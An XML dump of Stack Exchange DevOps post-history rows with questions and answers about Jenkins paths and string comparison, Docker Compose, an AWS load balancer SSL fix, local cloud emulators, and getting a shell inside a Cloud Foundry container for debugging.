  <row Id="43342" PostHistoryTypeId="2" PostId="13769" RevisionGUID="8005312a-fc1a-4a32-a051-6b8b16391f19" CreationDate="2021-04-23T22:25:53.200" UserId="27310" Text="i am working with Jenkins to automate my deliveries on a continuous basis. Previously I had a lot of jobs in the dashboard so I decided to organize it in folders, for example:&#xD;&#xA;&#xD;&#xA;**Folder: Development\ModularFunctions\               &#xD;&#xA; job: PingLib**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Folder: Animartion         &#xD;&#xA; Job: 360Animation**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then I have the following path where the compiled ones are going to be generated:&#xD;&#xA;**C:\Develpment\**&#xD;&#xA;&#xD;&#xA;but when I create the task and generate the compiled, it creates the following folder path:&#xD;&#xA;&#xD;&#xA;**C:\Develpment\ModularFunctions\PingLib\Builds\${BUILD_NUMBER}\Output\Development\ModularFunctions(here I add the compiled files)\.**&#xD;&#xA;&#xD;&#xA;Does anyone know why it takes the root of the folder I have in the dashboard and creates them in the output folder? Could you guide me to solve this?&#xD;&#xA;&#xD;&#xA;Note, currently I work with Unity3D and this is my configuration so that it generates the compiled one in the desired path:&#xD;&#xA;&#xD;&#xA;**-nographics -batchmode -quit -executeMethod JenkinsBuild.BuildWindows64 &quot;${JOB_Name}&quot; &quot;C:\Develpment\${JOB_NAME}\Builds\${BUILD_NUMBER}\output&quot;**" ContentLicense="CC BY-SA 4.0" />
  <row Id="43343" PostHistoryTypeId="1" PostId="13769" RevisionGUID="8005312a-fc1a-4a32-a051-6b8b16391f19" CreationDate="2021-04-23T22:25:53.200" UserId="27310" Text="Folder problem when creating compiled" ContentLicense="CC BY-SA 4.0" />
  <row Id="43344" PostHistoryTypeId="3" PostId="13769" RevisionGUID="8005312a-fc1a-4a32-a051-6b8b16391f19" CreationDate="2021-04-23T22:25:53.200" UserId="27310" Text="&lt;jenkins&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43345" PostHistoryTypeId="5" PostId="13769" RevisionGUID="1a0f1c28-0631-4ba8-b8f4-e9e138534575" CreationDate="2021-04-23T23:01:40.480" UserId="27310" Comment="added 1 character in body" Text="i am working with Jenkins to automate my deliveries on a continuous basis. Previously I had a lot of jobs in the dashboard so I decided to organize it in folders, for example:&#xD;&#xA;&#xD;&#xA;**Folder: Development\ModularFunctions\               &#xD;&#xA; job: PingLib**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Folder: Animartion         &#xD;&#xA; Job: 360Animation**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then I have the following path where the compiled ones are going to be generated:&#xD;&#xA;**C:\Develpment\**&#xD;&#xA;&#xD;&#xA;but when I create the task and generate the compiled, it creates the following folder path:&#xD;&#xA;&#xD;&#xA;**C:\Develpment\ModularFunctions\PingLib\Builds\${BUILD_NUMBER}\Output\Development\ModularFunctions(here I add the compiled files)\.**&#xD;&#xA;&#xD;&#xA;Does anyone know why it takes the root of the folder I have in the dashboard and creates them in the output folder? Could you guide me to solve this?&#xD;&#xA;&#xD;&#xA;Note, currently I work with Unity3D and this is my configuration so that it generates the compiled one in the desired path:&#xD;&#xA;&#xD;&#xA;**-nographics -batchmode -quit -executeMethod JenkinsBuild.BuildWindows64 &quot;${JOB_Name}&quot; &quot;C:\Develpment\\${JOB_NAME}\Builds\${BUILD_NUMBER}\output&quot;**" ContentLicense="CC BY-SA 4.0" />
  <row Id="43346" PostHistoryTypeId="50" PostId="13231" RevisionGUID="8cd659c6-f1d0-428c-b1c4-6e83e767b070" CreationDate="2021-04-24T00:09:05.813" UserId="-1" />
  <row Id="43348" PostHistoryTypeId="2" PostId="13770" RevisionGUID="fdae1e7f-db4a-43a3-bc37-607eb6e09970" CreationDate="2021-04-24T07:34:35.160" UserId="27211" Text="I think to have found a suitable grafana plugin that can activate/deacttivate an actuator by posting a value with a call api rest. The name of this plugin that can be easily donwloaded and istalled in the grafana is cloudspout button panel plugin. and can be found at grafana.com/grafana/plugins/cloudspout-button-panel " ContentLicense="CC BY-SA 4.0" />
  <row Id="43349" PostHistoryTypeId="2" PostId="13771" RevisionGUID="422cf764-178c-4eb7-9cca-2087645dff73" CreationDate="2021-04-24T13:59:15.350" UserId="24251" Text="It's a strange question coming from network as they control it but then again... network folks ;).  &#xD;&#xA;I'm assuming you have a Jenkins master node and a separate Jenkins slave node. &#xD;&#xA;For a quick blunt fix you could take a look at https://github.com/magnific0/wondershaper and run it on the remote slave node. It will slow things down considerably when there's stuff to be pushed/pulled over the network but at least you are complying to their request. &#xD;&#xA;Another option is true &quot;Traffic Shaping&quot; but it's a hassle to set up whereas wondershaper is a quick but less elegant fix. Perhaps you could enable wondershaper at the start of the Jenkins job and disable it afterwards or you could add another nic and create dedicated routes between master/slave so that network card is used for jenkins communication and run wondershaper on that nic alone leaving normal/default network traffic at max speed.  &#xD;&#xA;&#xD;&#xA;Last option is to stake your ground and respond to the network people &quot;You guys run the network, can't you configure appropriate Traffic Shaping on the router/firewall?&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43350" PostHistoryTypeId="2" PostId="13772" RevisionGUID="493797ea-8f55-4362-944e-20600f168208" CreationDate="2021-04-25T03:35:54.200" UserId="27319" Text="I have been trying to find the options for importing an OVA file into the Openshift container. However, all the documents and blogs only point to importing the Openshift as OVA file in VMware, I got the same response from the Redhat Support team too! Could you please let me know if this is possible and point me towards any information around this? Much appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43351" PostHistoryTypeId="1" PostId="13772" RevisionGUID="493797ea-8f55-4362-944e-20600f168208" CreationDate="2021-04-25T03:35:54.200" UserId="27319" Text="Importing OVA file into OpenShift Container" ContentLicense="CC BY-SA 4.0" />
  <row Id="43352" PostHistoryTypeId="3" PostId="13772" RevisionGUID="493797ea-8f55-4362-944e-20600f168208" CreationDate="2021-04-25T03:35:54.200" UserId="27319" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43353" PostHistoryTypeId="50" PostId="13601" RevisionGUID="944e760c-d2a9-4e86-b8d0-68ded9948f4e" CreationDate="2021-04-25T06:08:15.763" UserId="-1" />
  <row Id="43358" PostHistoryTypeId="2" PostId="13774" RevisionGUID="76af51aa-bad3-4f48-a72f-676abe3cd50b" CreationDate="2021-04-25T11:34:53.293" UserId="24251" Text="Yes, an input host file for ansible looks like https://pastebin.com/Vtfw5FtV &#xD;&#xA;The upper part node stuff is generated using terraform, we can dynamically up/down scale the number of nodes with terraform and terraform outputs the yaml used for the hosts part of the file. The tenant-specifiek yml vars (about 150 additional lines of tenant specific config yml) are kept in a separate git location and a jenkins step/python concatenates them together and pushes them to the host directory location for each tenant and runs individual roles (hotfix) or all of 'em (full deploy) or perhaps just stop/start. The Jenkins job is pretty much a control screen with a lot of dropdowns, radio buttons and selectors. We can select how many nodes we want for a single service, which build to grab from nexus, do a full deploy, a single service hotfix or just a configuration hotfix. All this is selectable/executable per environment, per tenant and per individual module/service. The Jenkins screen is dynamically build from the host (targets) &amp; roles (actions) directory.&#xD;&#xA;&#xD;&#xA;Again, we're most likely abusing Ansible &quot;best practices&quot; a fair bit but for us this approach has been working remarkably well for last &gt;3 years in terms of overall manageability and gives us maximum flexibility of the whole CI/CD pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="43359" PostHistoryTypeId="50" PostId="11200" RevisionGUID="c82803e6-ce2e-4c5c-abb8-8a11e2f4b87c" CreationDate="2021-04-25T16:02:30.223" UserId="-1" />
  <row Id="43360" PostHistoryTypeId="5" PostId="13765" RevisionGUID="0d597f35-7682-43b5-a3e9-ff1619f9b505" CreationDate="2021-04-25T17:15:51.650" UserId="9148" Comment="Updated title to narrow the issue down to strings containing forward slashes." Text="***UPDATE:*** I've update the question title after discovering the issue only occurs when the `branch` string contains a forward-slash, e.g, `feature/something`. Additionally, someone asked if I've verified the type of each, and yes I have. Both `shortBrancg.getClass()` and `branch.getClass()` return type `java.lang.String`. &#xD;&#xA;&#xD;&#xA;I have a config file that's in YAML format, which includes this relevant portion:&#xD;&#xA;&#xD;&#xA;    project:&#xD;&#xA;      protectedBranches:&#xD;&#xA;        - master&#xD;&#xA;        - develop&#xD;&#xA;        - feature/something&#xD;&#xA;&#xD;&#xA;In my Jenkinsfile, the YAML file is loaded via: `config = readYaml('config.yml')`.&#xD;&#xA;&#xD;&#xA;I also have `env.GIT_BRANCH = env.gitlabSourceBranch` which results in `env.GIT_BRANCH` containing the value `origin/feature/something`&#xD;&#xA;&#xD;&#xA;The `config.project.protectedBranches` is of type `ArrayList()`&#xD;&#xA;&#xD;&#xA;I am attempting to do something based on whether `env.GIT_BRANCH` exists in the `config.project.protectedBranches`, but none of the following have worked.&#xD;&#xA;&#xD;&#xA;    def shortBranch = env.GIT_BRANCH&#xD;&#xA;    shortBranch = shortBranch.minus(&quot;origin/&quot;)&#xD;&#xA;    // shortBranch now has a value of feature/something&#xD;&#xA;&#xD;&#xA;    if(shortBranch in config.project.protectedBranches) // returns false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also...&#xD;&#xA;&#xD;&#xA;    config.project.protectedBranches.each{ branch -&gt;&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch.equals(shortBranch)}&quot; // returns false&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch == shortBranch}&quot; // also returns false&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Both `branch` and `shortBranch` are of type `String`. Why on Earth can I not compare these strings?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43361" PostHistoryTypeId="4" PostId="13765" RevisionGUID="0d597f35-7682-43b5-a3e9-ff1619f9b505" CreationDate="2021-04-25T17:15:51.650" UserId="9148" Comment="Updated title to narrow the issue down to strings containing forward slashes." Text="Jenkins String unable to match a String containing a forward-slash (&quot;/&quot;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="43362" PostHistoryTypeId="2" PostId="13775" RevisionGUID="f8379eee-f758-4660-9cf7-05aaaa53da2d" CreationDate="2021-04-25T19:49:47.413" UserId="9609" Text="There can be many correct answers, depending on the strategy you are doing. My take would be:&#xD;&#xA;&#xD;&#xA; 1. I wouldn't create a dedicated Docker image (e.g. index.docker.com/python:3.9-slim) with the application on it, but rather use the official Python Docker image, to build the app and the same to run it, so I'd package your app separately from the image that runs it. You can still compile your code as a Docker image if that's convenient and mount it as a volume. There are many benefits of this: &#xD;&#xA;    - your code can be mounted as read-only, lowering the attack-surface&#xD;&#xA;    - faster build (no need to add a full Python every time), faster deployment (yes, Docker layers would still work, but if your code changes, Python has updates, you might have multiple hosts eventually don't count on layering).&#xD;&#xA;    - separation of concerns: just because you update your Python interpreter's patch version (e.g. for security fixes), your app don't have to change. This can be an important factor if you need to have a decision log for your releases.&#xD;&#xA;&#xD;&#xA; 2. You can use, e.g. CoreOS and use a Systemd unit file to pull down and run it for you, or you can instruct your Docker daemon via the Terraform provider to run it and set the &quot;restart = always&quot; so it will be started on reboots too. I'd go with the latter as it requires no knowledge on the OS and there is a single way (Terraform) to manage the whole deployment.&#xD;&#xA;&#xD;&#xA; 3. Well, if you have multiple instances, high-availability, then you either&#xD;&#xA;    - need to do this in your app with a service-discovery tool (check&#xD;&#xA;    e.g. Hashicorp Consul) or you can have a load-balancer, but that&#xD;&#xA;    costs you money. Using load-balancers is the lazy way; using service&#xD;&#xA;    discovery and doing the load-balancing on the client-side (app)&#xD;&#xA;    offers you the best outcome, lesser architectural complexity, but&#xD;&#xA;    much more work.&#xD;&#xA;    - Use an orchestrator, e.g. Kubernetes, but then your whole manual deployment with Docker and Terraform is not relevant anymore because you are dealing with the deployment at a higher level. Although Kubernetes has a steep learning curve initially, it is very straightforward when it is up and running.&#xD;&#xA;    - A runner-up solution could be a DNS-based solution. In this case, you manually set, e.g. 3 instances and then in your DNS zone, you set a round-robin.&#xD;&#xA;    - You can't use, e.g. AWS Autoscaling Groups, because you want to manage your containers via Terraform, so if the ASG scales up an instance, somehow your Terraform needs to run. So unless you start up your containers via &quot;user-data&quot;, ASGs doesn't make sense, but in that case, you can't manage them via Terraform because Terraform is likely aware of the container's state. Even if you manage it, it will be a fragile architecture that will bite you back when you need that high availability.&#xD;&#xA;&#xD;&#xA;Note: You probably need at least 2 Terraform run, because the Docker Terraform provider requires access to the target Docker service via TLS/SSH or Unix socket, so your instances have to be up and ready _before_ you run the Docker one. But that's a good idea anyway because if you add all these in your user-data/cloud-init/Ignition script, Terraform will destroy the instances, so your container updates won't be that quick.&#xD;&#xA;&#xD;&#xA;Note 2: Do yourself a favour and if you need more than 1 instances, use an orchestrator like Kubernetes on Hashicorp Nomad." ContentLicense="CC BY-SA 4.0" />
  <row Id="43363" PostHistoryTypeId="5" PostId="1035" RevisionGUID="254cc19f-fc71-4ec5-8665-4e338570ac07" CreationDate="2021-04-25T20:52:08.990" UserId="2708" Comment="Updated link to &quot;localstack&quot; (it is now hosted at Github)" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;![LocalStack logo](https://lh3.googleusercontent.com/l53T-4YBcqSzenbQBJ_nVt-snFJi99i7yHTobRQogw=s630-fcrop64=1,1fff0ff1dfb6f00d)&#xD;&#xA;&#xD;&#xA;[LocalStack](https://github.com/localstack/localstack) spins up local emulators of a slew of AWS-style services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## AppScale&#xD;&#xA;&#xD;&#xA;[![AppScale logo][1]][1]  &#xD;&#xA;&lt;sub&gt;(source: [jujucharms.com](https://jujucharms.com/_icon/120/appscale.png))&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[AppScale](https://www.appscale.com/community/what-is-appscale/) can help you emulate the Google cloud:&#xD;&#xA;&#xD;&#xA;&gt; AppScale is an open-source cloud computing platform that automatically deploys and scales unmodified Google App Engine applications over public and private cloud systems and on-premise clusters. AppScale is modeled on the App Engine APIs and has support for Python, Go, PHP and Java applications.&#xD;&#xA;&#xD;&#xA;&gt; AppScale is supported and maintained by AppScale Systems, in conjunction with Google.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and paid features.  It supports emulating EC2, S3, and IAM.&#xD;&#xA; [1]: https://i.stack.imgur.com/El7Us.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43364" PostHistoryTypeId="5" PostId="1035" RevisionGUID="10ce7a15-9731-4678-9299-19444c70b8b2" CreationDate="2021-04-26T00:24:19.327" UserId="739" Comment="fix appscale logo" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;![LocalStack logo](https://lh3.googleusercontent.com/l53T-4YBcqSzenbQBJ_nVt-snFJi99i7yHTobRQogw=s630-fcrop64=1,1fff0ff1dfb6f00d)&#xD;&#xA;&#xD;&#xA;[LocalStack](https://github.com/localstack/localstack) spins up local emulators of a slew of AWS-style services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## AppScale&#xD;&#xA;&#xD;&#xA;![AppScale logo](https://i.stack.imgur.com/El7Us.png)&#xD;&#xA;&lt;sub&gt;(source: [jujucharms.com](https://jujucharms.com/_icon/120/appscale.png))&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[AppScale](https://www.appscale.com/community/what-is-appscale/) can help you emulate the Google cloud:&#xD;&#xA;&#xD;&#xA;&gt; AppScale is an open-source cloud computing platform that automatically deploys and scales unmodified Google App Engine applications over public and private cloud systems and on-premise clusters. AppScale is modeled on the App Engine APIs and has support for Python, Go, PHP and Java applications.&#xD;&#xA;&#xD;&#xA;&gt; AppScale is supported and maintained by AppScale Systems, in conjunction with Google.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and paid features.  It supports emulating EC2, S3, and IAM.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43365" PostHistoryTypeId="2" PostId="13776" RevisionGUID="5c17024a-c1ea-4086-8a7f-147ccf11851d" CreationDate="2021-04-26T08:03:28.903" UserId="27332" Text="Not sure if complete reinstall is a valid option for you, but for me this helped:&#xD;&#xA;&#xD;&#xA; 1. `sudo minikube delete` &#xD;&#xA; 2. After delete is finished, `minikube start` again" ContentLicense="CC BY-SA 4.0" />
  <row Id="43366" PostHistoryTypeId="50" PostId="13576" RevisionGUID="56f4484e-c16d-4edf-a559-db6186a1c375" CreationDate="2021-04-26T08:09:20.967" UserId="-1" />
  <row Id="43367" PostHistoryTypeId="2" PostId="13777" RevisionGUID="bcae9284-dd8b-41fa-ac31-c60edbc4eb0f" CreationDate="2021-04-26T12:41:06.703" UserId="27338" Text="So I am trying to start up an server that has a backend, a client, and a mongodb instance.&#xD;&#xA;&#xD;&#xA;Both require me to run `yarn start` at the end. However, when I run this in the dockerfile the image never stops being built as the `yarn start` command technically never stops running.&#xD;&#xA;&#xD;&#xA;The client requires the backend to be up already, and the backend requires the mongodb db instance to be up.&#xD;&#xA;&#xD;&#xA;How do I get this server running in docker compose?&#xD;&#xA;&#xD;&#xA;Here is my backend dockerfile&#xD;&#xA;```&#xD;&#xA; FROM node:12-alpine&#xD;&#xA; &#xD;&#xA; WORKDIR /app&#xD;&#xA; COPY ./profile-server /app&#xD;&#xA; &#xD;&#xA; WORKDIR /app/profile-server&#xD;&#xA; RUN yarn&#xD;&#xA; RUN yarn start&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It really does work until I get to yarn start (Which I should probably run in the docker-compose as it needs to mongodb container to be running. I just don't know how to run this in the `docker-compose.yml`, or force the client to wait for this command to be run before running its own `yarn start`)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43368" PostHistoryTypeId="1" PostId="13777" RevisionGUID="bcae9284-dd8b-41fa-ac31-c60edbc4eb0f" CreationDate="2021-04-26T12:41:06.703" UserId="27338" Text="yarn server with docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="43369" PostHistoryTypeId="3" PostId="13777" RevisionGUID="bcae9284-dd8b-41fa-ac31-c60edbc4eb0f" CreationDate="2021-04-26T12:41:06.703" UserId="27338" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43370" PostHistoryTypeId="2" PostId="13778" RevisionGUID="b9334a48-3071-4432-ad4f-5e7dca5e3f4b" CreationDate="2021-04-26T13:11:51.337" UserId="25811" Text="I've setup a &quot;Application Load balancer&quot; in AWS. It has two Listeners, one on HTTP (port 80) and one on HTTPS (port 443).&#xD;&#xA;It also has one target group that with only one FARGATE instance that I've registered in ECS.&#xD;&#xA;&#xD;&#xA;In the Image below you can see the two listeners and the SSL Cert. I've attached to the HTTPS listener. You can also see that they have the same rule defined. Both of them target the same TargetGroup, over HTTP (port 80). From what I've understood that's an accepted practice to have a Load balancer listen to HTTPS but forward the request over HTTP since it's in the same VPC.&#xD;&#xA;&#xD;&#xA;But for some reason only the HTTP listener is working. I've visited the site over HTTPS both directly through the LB's DNS Name and the domain I've attached to the SSL cert. both I both of the give the same result, it loads a while until it gets a timeout.&#xD;&#xA;&#xD;&#xA;Anyone have a guess what could be wrong?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/pj4Zu.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43371" PostHistoryTypeId="1" PostId="13778" RevisionGUID="b9334a48-3071-4432-ad4f-5e7dca5e3f4b" CreationDate="2021-04-26T13:11:51.337" UserId="25811" Text="AWS ELB Application Load balancer, SSL not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="43372" PostHistoryTypeId="3" PostId="13778" RevisionGUID="b9334a48-3071-4432-ad4f-5e7dca5e3f4b" CreationDate="2021-04-26T13:11:51.337" UserId="25811" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;load-balance&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43373" PostHistoryTypeId="2" PostId="13779" RevisionGUID="76dc8dad-b699-4a3e-869e-d6d7c16908b6" CreationDate="2021-04-26T13:24:51.483" UserId="25811" Text="Nvm.. I solved it, I had forgotten that I had to add port 443 to the security group that my load balancer group belongs to." ContentLicense="CC BY-SA 4.0" />
  <row Id="43374" PostHistoryTypeId="5" PostId="13777" RevisionGUID="12fb1be8-f04e-4771-8004-6840219e92fe" CreationDate="2021-04-26T13:52:53.720" UserId="27338" Comment="clarified language" Text="So I am trying to start up an server that has:&#xD;&#xA; - a mongodb container&#xD;&#xA; - a backend container&#xD;&#xA; - a client container&#xD;&#xA;&#xD;&#xA;Both server containers require me to run `yarn start` at the end. However, when I run this in the dockerfile the image never stops being built as the `yarn start` command technically never stops running.&#xD;&#xA;&#xD;&#xA;The client requires the backend to be up already, and the backend requires the mongodb db instance to be up.&#xD;&#xA;&#xD;&#xA;How do I get this server running in docker compose?&#xD;&#xA;&#xD;&#xA;Here is my backend dockerfile&#xD;&#xA;```&#xD;&#xA; FROM node:12-alpine&#xD;&#xA; &#xD;&#xA; WORKDIR /app&#xD;&#xA; COPY ./profile-server /app&#xD;&#xA; &#xD;&#xA; WORKDIR /app/profile-server&#xD;&#xA; RUN yarn&#xD;&#xA; RUN yarn start&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It really does work until I get to yarn start (Which I should probably run in the docker-compose as it needs to mongodb container to be running. I just don't know how to run this in the `docker-compose.yml`, or force the client to wait for this command to be run before running its own `yarn start`)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43375" PostHistoryTypeId="5" PostId="13779" RevisionGUID="0516a807-5f56-4921-95bf-4467b41c410e" CreationDate="2021-04-26T14:45:03.373" UserId="40" Comment="deleted 6 characters in body" Text="I solved it, I had forgotten that I had to add port 443 to the security group that my load balancer group belongs to." ContentLicense="CC BY-SA 4.0" />
  <row Id="43376" PostHistoryTypeId="2" PostId="13780" RevisionGUID="7d01d5d2-5ee5-4ce7-87f3-cd5be0772b47" CreationDate="2021-04-26T14:58:11.997" UserId="27342" Text="In the second diagram you multiply the two regions to calculate a full system availability.  In all cases you are calculating a probability that the system shall be down (or up).&#xD;&#xA;&#xD;&#xA;There is however, no reference to the worst case scenario where each component fails in a serial manner, and the duplicated components fail together.&#xD;&#xA;(i.e. traffic manager fails, comes back as both app services fail (or app-A and SQL-B), they are in turn restored as both SQL database fail) &#xD;&#xA;&#xD;&#xA;So a dual site solution can't provide any more guarantee than a single site solution in the worst case.  But can only reduce the probability of an issue occurring.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43377" PostHistoryTypeId="2" PostId="13781" RevisionGUID="ef6c1a67-a071-4373-995f-5c8ffb49ade3" CreationDate="2021-04-26T15:55:07.730" UserId="27344" Text="What @Jon Ravenscraft posted as a comment on his own accepted (non) answer did in fact work for me as a solution. I am just formatting it here as an answer for anybody who stumbles here in the future:&#xD;&#xA; * Follow [these steps](https://community.pivotal.io/s/article/How-to-get-into-an-App-Container-Manually-with-Garden-RunC-Backend?language=en_US) to get instance GUID (also included below for convenience)&#xD;&#xA;```bash&#xD;&#xA;# Establish the process-guid for the app:&#xD;&#xA;cf curl /v2/apps/$(cf app &lt;app_name&gt; --guid)| jq -r '.metadata.guid + &quot;-&quot; + .entity.version'&#xD;&#xA;b06b2901-2093-4be4-9f37-f7788d04ce8c-ff93f0e2-285f-4f18-a6fc-806802f3dde9&#xD;&#xA;&#xD;&#xA;# Find the hosts where the app instances are running:&#xD;&#xA;cf curl v2/apps/$(cf app &lt;app-name&gt; --guid)/stats | grep host&#xD;&#xA;&#xD;&#xA;# Identify the Diego cell you want to ssh to by running bosh vms | grep &lt;cell_ip&gt;&#xD;&#xA;&#xD;&#xA;# bosh ssh to the Diego cell (grab the cell_id from step 3).&#xD;&#xA;&#xD;&#xA;# Once in the Diego cell, as root, run the following command to grab the container_guid/instance_guid:&#xD;&#xA;cfdot actual-lrp-groups-for-guid &lt;process_guid_from_step_1&gt; | jq '.instance | select (.address == &quot;&lt;diego_cell_ip&gt;&quot;)' | jq .instance_guid&#xD;&#xA;```&#xD;&#xA;* Then, from your terminal on the appropriate diego cell:&#xD;&#xA;```bash&#xD;&#xA;sudo /var/vcap/packages/containerd/bin/ctr -a /var/vcap/sys/run/containerd/containerd.sock -n garden tasks exec --exec-id my-shell --tty &lt;instance-guid&gt; /bin/sh&#xD;&#xA;```&#xD;&#xA;And voilà , you are dropped at a shell..." ContentLicense="CC BY-SA 4.0" />
  <row Id="43378" PostHistoryTypeId="5" PostId="13781" RevisionGUID="6c75cb51-c541-4c57-89e5-1b9f0d0486db" CreationDate="2021-04-26T16:31:51.563" UserId="27344" Comment="added 444 characters in body" Text="What @Jon Ravenscraft posted as a comment on his own accepted (non) answer did in fact work for me as a solution. I am just formatting it here as an answer for anybody who stumbles here in the future:&#xD;&#xA; * Follow [these steps](https://community.pivotal.io/s/article/How-to-get-into-an-App-Container-Manually-with-Garden-RunC-Backend?language=en_US) to get instance GUID (also included below for convenience)&#xD;&#xA;```bash&#xD;&#xA;# Establish the process-guid for the app:&#xD;&#xA;cf curl /v2/apps/$(cf app &lt;app_name&gt; --guid)| jq -r '.metadata.guid + &quot;-&quot; + .entity.version'&#xD;&#xA;b06b2901-2093-4be4-9f37-f7788d04ce8c-ff93f0e2-285f-4f18-a6fc-806802f3dde9&#xD;&#xA;&#xD;&#xA;# Find the hosts where the app instances are running:&#xD;&#xA;cf curl v2/apps/$(cf app &lt;app-name&gt; --guid)/stats | grep host&#xD;&#xA;&#xD;&#xA;# Identify the Diego cell you want to ssh to by running bosh vms | grep &lt;cell_ip&gt;&#xD;&#xA;&#xD;&#xA;# bosh ssh to the Diego cell (grab the cell_id from step 3).&#xD;&#xA;&#xD;&#xA;# Once in the Diego cell, as root, run the following command to grab the container_guid/instance_guid:&#xD;&#xA;cfdot actual-lrp-groups-for-guid &lt;process_guid_from_step_1&gt; | jq '.instance | select (.address == &quot;&lt;diego_cell_ip&gt;&quot;)' | jq .instance_guid&#xD;&#xA;```&#xD;&#xA;* Then, from your terminal on the appropriate diego cell:&#xD;&#xA;```bash&#xD;&#xA;sudo /var/vcap/packages/containerd/bin/ctr -a /var/vcap/sys/run/containerd/containerd.sock -n garden tasks exec --exec-id my-shell --tty &lt;instance-guid&gt; /bin/sh&#xD;&#xA;```&#xD;&#xA;And voilà , you are dropped at a shell...&#xD;&#xA;&#xD;&#xA;P.S. I believe the speculated reasoning given in the other answer is in fact, also correct, per:&#xD;&#xA;&#xD;&#xA;&gt; PAS v2.6 enables containerd mode by default to bring PAS in line with other container providers. When you upgrade to PAS v2.6, Garden switches the container runtime from runc to containerd. Since the restart of Garden and the re-creation of containers are a normal part of a PAS upgrade, there is no operational impact to running applications." ContentLicense="CC BY-SA 4.0" />
